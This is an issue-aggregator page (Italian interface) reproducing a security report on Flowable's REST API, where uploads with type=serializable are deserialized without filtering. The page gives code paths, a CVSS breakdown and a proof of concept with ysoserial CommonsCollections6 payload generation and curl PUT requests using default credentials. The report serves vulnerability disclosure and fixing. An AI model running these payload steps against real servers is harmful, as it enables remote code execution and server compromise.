Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

[SECURITY] Deserialization RCE via ProcessInstanceVariableResource.updateVariable (multipart) with type=serializable (CWE-502, CVSS 8.8)

Aperta
#4,290 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
48/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
groovy, java, spring
Ambito
api, backend, security

Direzione di ricerca

Start at ProcessInstanceVariableResource.updateVariable in repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ProcessInstanceVariableResource.java, then trace setBinaryVariable in BaseExecutionVariableResource.java. Review the default rest.variables.allow.serializable setting in flowable-default.properties and verify the multipart type=serializable path no longer accepts unfiltered input while preserving the intended variable behavior.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

Security Vulnerability Report -- CWE-502

Summary

The ProcessInstanceVariableResource's updateVariable endpoint, when receiving multipart/form-data requests with the form parameter type=serializable, directly uses ObjectInputStream.readObject() without JEP 290 filtering to deserialize uploaded file content. This capability is enabled under the default configuration (rest.variables.allow.serializable=true). Combined with gadget chain libraries such as Groovy and Spring present on the classpath, an attacker can achieve remote code execution (RCE) through an authenticated HTTP request.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST API's PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint, when receiving multipart/form-data type requests, calls BaseExecutionVariableResource.setBinaryVariable(). When the form parameter type=serializable, the method uses native java.io.ObjectInputStream.readObject() to directly deserialize the user-uploaded file byte stream, without configuring any ObjectInputFilter (JEP 290) class whitelist/blacklist. Java deserialization vulnerabilities are a well-researched class of high-severity vulnerabilities. An attacker can craft malicious serialized objects (gadget chains) to gain arbitrary code execution capability when readObject() is triggered. This feature is enabled by default under rest.variables.allow.serializable=true, and the classpath contains known gadget chain libraries such as groovy-jsr223 (org.apache.groovy) and Spring, making the RCE attack surface practically exploitable.

Exploitation Prerequisites
Condition Description
Authentication Requires HTTP Basic Auth, and under default authentication-mode=verify-privilege mode, user must have rest-api permission
Network Reachability Flowable REST API port reachable (default 8080)
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57)
Business Prerequisites Target processInstanceId must be an existing running process instance
Classpath Dependency Need available gadget chain libraries; default deployed flowable-app-rest includes groovy-jsr223 and Spring framework
Trigger Location

repo/modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:162-167

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();

Entry method at ProcessInstanceVariableResource.java:94-126:

@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}", produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
        @PathVariable("variableName") String variableName, HttpServletRequest request) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
        // ...
Data Flow Overview
HTTP PUT multipart/form-data request (containing malicious serialized payload as file part, form field type=serializable)
  ↓
ProcessInstanceVariableResource.updateVariable()
  (ProcessInstanceVariableResource.java:94)
  ↓ Check request instanceof MultipartHttpServletRequest → true
  ↓
BaseExecutionVariableResource.setBinaryVariable(request, execution, false, false)
  (BaseExecutionVariableResource.java:102)
  ↓ Parse form parameter type=serializable, name=<variableName>
  ↓
Check isSerializableVariableAllowed (default true, from rest.variables.allow.serializable=true)
  (BaseExecutionVariableResource.java:162)
  ↓
new ObjectInputStream(file.getInputStream()) → stream.readObject()
  (BaseExecutionVariableResource.java:164-165)
  ↓ **Without any ObjectInputFilter filtering** → gadget chain executes during readObject()
  ↓
RCE triggered
Data Flow Detailed Code Analysis
Chain 1: multipart -> setBinaryVariable -> readObject()

Layer 1 — HTTP Entry (ProcessInstanceVariableResource.java:94-101)

@PutMapping(value = "/runtime/process-instances/{processInstanceId}/variables/{variableName}",
    produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public RestVariable updateVariable(@PathVariable("processInstanceId") String processInstanceId,
        @PathVariable("variableName") String variableName, HttpServletRequest request) {
    Execution execution = getExecutionFromRequestWithoutAccessCheck(processInstanceId);
    RestVariable result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, false, false);
  • External input: multipart request, containing file part (attacker controls all bytes) and form fields name/type/scope
  • Operation: Only checks if request is MultipartHttpServletRequest, if so delegates directly to setBinaryVariable
  • Passed to next layer: (MultipartHttpServletRequest) request, execution object

Layer 2 — setBinaryVariable Parameter Parsing (BaseExecutionVariableResource.java:102-155)

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request, Execution execution,
        boolean isNew, boolean async) {
    // ...
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    // ...
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("type".equalsIgnoreCase(parameterName)) {
                variableType = paramMap.get(parameterName)[0];
            }
            // ...
        }
    }
    if (variableType != null) {
        if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
        }
    }
  • External input: file (byte stream fully controlled by attacker), form parameter type
  • Operation: type whitelist only allows "binary" or "serializable", does not restrict specific serialization classes
  • Passed to next layer: file.getInputStream() byte stream

Layer 3 — Sink: ObjectInputStream.readObject() (BaseExecutionVariableResource.java:162-167)

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // ← SINK: unfiltered deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
} else {
    throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
}
  • External input: file.getInputStream() — raw byte stream of user-uploaded file
  • Operation: Directly new ObjectInputStream(file.getInputStream()) and calls readObject()
  • No ObjectInputFilter (JEP 290) configured: No stream.setObjectInputFilter() called, JVM also has no jdk.serialFilter configured
  • isSerializableVariableAllowed is read from env.getProperty("rest.variables.allow.serializable", Boolean.class, true), default value is true
  • Passed to next layer: Deserialized Object value (by this point gadget chain has already executed)

Layer 4 — Configuration Confirmation (flowable-default.properties:57)

# Enable/disable Java serializable objects to be passed as variables in the REST API.
rest.variables.allow.serializable=true

Default configuration explicitly enables the deserialization feature.

CVSS Breakdown

Using CVSS v3.1 scoring, vector string: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Vector Value Reason
Attack Vector (AV) Network Triggered remotely via HTTP REST API
Attack Complexity (AC) Low Attacker only needs to send a multipart POST/PUT request with type=serializable + malicious serialized payload, no special conditions
Privileges Required (PR) Low Requires HTTP Basic Auth (default verify-privilege mode requires rest-api permission), but no admin privileges needed
User Interaction (UI) None No user interaction required
Scope (S) Unchanged Vulnerability affects the Flowable application's own process
Confidentiality (C) High RCE can read all application data (database credentials, process variables, etc.)
Integrity (I) High RCE can tamper with database, process definitions, filesystem
Availability (A) High RCE can stop service, delete data

Overall Score: 8.8 (High)


PoC Verification Report

ProcessInstanceVariableResource.updateVariable Java Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: ProcessInstanceVariableResource updateVariable endpoint Java deserialization remote code execution
  2. Affected Component/Port: Flowable REST API port 8080, PUT /runtime/process-instances/{processInstanceId}/variables/{variableName} endpoint
  3. Vulnerability Description: When uploading a file via multipart/form-data and setting type=serializable, the system uses native ObjectInputStream.readObject() to deserialize the user-uploaded file byte stream without configuring any JEP 290 ObjectInputFilter, allowing an attacker to craft malicious serialized objects (gadget chains) to execute arbitrary code during deserialization
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // ← SINK: unfiltered deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
HTTP PUT multipart/form-data (file + type=serializable)
  ↓
ProcessInstanceVariableResource.updateVariable() (ProcessInstanceVariableResource.java:94)
  ↓ request instanceof MultipartHttpServletRequest
  ↓
BaseExecutionVariableResource.setBinaryVariable() (BaseExecutionVariableResource.java:102)
  ↓ Parse form parameter type=serializable
  ↓
ObjectInputStream stream = new ObjectInputStream(file.getInputStream())
  ↓
stream.readObject()  (BaseExecutionVariableResource.java:165)
  ↓ **Without ObjectInputFilter filtering**
  ↓
Gadget chain execution → RCE triggered

Exploitation Conditions

Condition Description
Authentication Requires HTTP Basic Auth (rest-admin:test), default authentication-mode=verify-privilege mode requires rest-api permission
Network Reachability Flowable REST API port 8080 reachable
Configuration Dependency rest.variables.allow.serializable=true (enabled by default, see flowable-default.properties:57)
Business Prerequisites Target processInstanceId must be an existing running process instance
Classpath Dependency Need gadget chain libraries; default deployment includes commons-collections-3.2.2.jar, groovy-jsr223-4.0.23.jar, Spring 6.1.13, etc.

Exploitation Chain Progress

Successful Exploitation Example (CommonsCollections6 gadget chain):

Chain Stage Location (file:line) Status Evidence / Description
Entry ProcessInstanceVariableResource.java:94 Reached PUT multipart request entered updateVariable()
Parameter parsing BaseExecutionVariableResource.java:131 Reached type=serializable passed whitelist validation
Sink BaseExecutionVariableResource.java:165 Triggered readObject() deserialized CommonsCollections6 payload
Conclusion — Full Chain Closed RCE successful, server created file /root/workspace/tmp/entry_0629/RCE_PROOF_0629

Exploitation Verification

Execution Commands (end-to-end):

Generate CommonsCollections6 gadget chain payload and send:

TMPDIR="/root/workspace/tmp/entry_0629"
PROC_ID="03328176-8fff-11f1-a444-02423661ba3a"

# Generate payload (need --add-opens to bypass Java 17 module restrictions)
java --add-opens java.management/javax.management=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.io=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629" > "${TMPDIR}/payload_cc6.ser"

# Send malicious multipart request
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/put_rce_sh" \
  -F "file=@${TMPDIR}/payload_cc6.ser" \
  -F "type=serializable" \
  -F "name=put_rce_sh"

Actual Execution Result:

HTTP 200 OK, returned:

{"name":"put_rce_sh","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/service/runtime/process-instances/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_sh/data","scope":"local"}

Server filesystem verification:

$ ls -la /root/workspace/tmp/entry_0629/RCE_PROOF_0629
-rw-r----- 1 root root 0 Aug  4 12:27 /root/workspace/tmp/entry_0629/RCE_PROOF_0629

Second Confirmation (different variable name, same process instance):

java ... -jar "${TMPDIR}/ysoserial-all.jar" CommonsCollections6 "touch ${TMPDIR}/RCE_PROOF_0629_SECOND" > "${TMPDIR}/payload_cc6_second.ser"

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID}/variables/evil_var2" \
  -F "file=@${TMPDIR}/payload_cc6_second.ser" \
  -F "type=serializable" \
  -F "name=evil_var2"

Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_0629_SECOND created successfully.

Third Confirmation (different process instance):

PROC_ID_2="0dd2629d-8fff-11f1-a444-02423661ba3a"
curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/process-instances/${PROC_ID_2}/variables/deser_var" \
  -F "file=@${TMPDIR}/payload_cc6_third.ser" \
  -F "type=serializable" \
  -F "name=deser_var"

Result: HTTP 200, file /root/workspace/tmp/entry_0629/RCE_PROOF_THIRD created successfully.

Conclusion: The attacker uploaded a file containing a malicious serialized object via HTTP PUT multipart request with type=serializable, successfully executing the touch command to create files on the Flowable server. Three independent tests (different variable names, different process instances) all successfully triggered RCE, proving the vulnerability is stably exploitable. The attacker can further leverage this vulnerability to read sensitive data, execute system commands, write webshells, or completely compromise the server.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Lingua principale
Java
Stelle
9.6k
Fork
2.9k
Merge medio
1h 9m
PR unite (30g)
2

Preparare l'ambiente

  • Nessun Dockerfile né file Docker Compose
  • Ha un modello di pull request
  • Nessuna guida per i contributori

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di flowable/flowable-engine

Tutte le issue di flowable/flowable-engine

Issue simili

Altre issue su Java

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.